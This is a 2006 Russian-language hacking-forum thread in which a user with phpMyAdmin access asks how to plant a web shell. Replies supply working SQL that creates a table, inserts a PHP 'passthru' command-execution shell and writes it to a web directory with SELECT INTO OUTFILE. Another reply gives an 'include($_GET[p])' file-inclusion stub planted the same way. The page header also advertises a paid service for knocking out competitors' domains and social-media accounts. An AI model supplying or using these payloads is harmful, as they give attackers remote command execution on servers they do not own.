Sql запрос для php-myadmin

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Sql запрос для php-myadmin

Опции темы

Поиск в этой теме

Опции просмотра

Sql запрос для php-myadmin

12.04.2006, 10:21

SanyaX

.::Club Life::.

Регистрация: 28.01.2005

Сообщений: 1,205

С нами: 11200586

Репутация: 1398

Sql запрос для php-myadmin

Вообщем столкнулся с такой проблемой. Есть доступ к phpmyadmin но не знаю как залить шелл. Может кто подскажет??

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________
-=Ok let's Go=-
-=OpenVPN=-

12.04.2006, 10:37

limpompo

Познавший АНТИЧАТ

Регистрация: 27.08.2005

Сообщений: 1,662

С нами: 10897046

Репутация: 1329

CREATE TABLE `shell` (s TEXT);
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
SELECT `s` INTO OUTFILE '/svoi/puti/k/saity/shell.php' FROM `shell`;
DROP TABLE `shell`;

12.04.2006, 11:16

SanyaX

.::Club Life::.

Регистрация: 28.01.2005

Сообщений: 1,205

С нами: 11200586

Репутация: 1398

Эх жалко не хватает прав....

__________________
-=Ok let's Go=-
-=OpenVPN=-

12.04.2006, 15:11

podkashey

Познавший АНТИЧАТ

Регистрация: 18.06.2005

Сообщений: 1,004

С нами: 10997666

Репутация: 1320

Цитата:

Эх жалко не хватает прав....

Смотря на что прав не хватает, добавить строку можно к любой другой таблице. Только удалить ее не забудь потом.

А если на инто аутфайл или запись, то хуже уже...

12.04.2006, 15:23

SanyaX

.::Club Life::.

Регистрация: 28.01.2005

Сообщений: 1,205

С нами: 11200586

Репутация: 1398

На инто вот и нету записи.

__________________
-=Ok let's Go=-
-=OpenVPN=-

12.04.2006, 16:37

podkashey

Познавший АНТИЧАТ

Регистрация: 18.06.2005

Сообщений: 1,004

С нами: 10997666

Репутация: 1320

SanyaX, Попробуй вот здесьпосмотреть:
http://www.ljplus.ru/img/_/c/_cybermind_/_1.jpg
http://www.ljplus.ru/img/_/c/_cybermind_/__1.jpg
http://www.ljplus.ru/img/_/c/_cybermind_/_2.jpg
http://www.ljplus.ru/img/_/c/_cybermind_/_3.jpg
Вроде бы было что-то про дыры в пхпмайадмин. Да и сама статья не плохая...

15.04.2006, 08:24

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

С нами: 10892546

Репутация: 2274

Может я тут не в тему, но всёравно подскажу...
Сначало в phpMyAdmin надо куда-то вписать значение <? include($_GET[p]) ?> потом использовать команду SELECT pass INTO OUTFILE 'c:/appserv/www/appserv/user.php' FROM user WHERE login = 'shell'
Думаю значение этого всего объяснять ненадо, вот только не помню как путь прописывать... /www/site/ или \www\site\

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход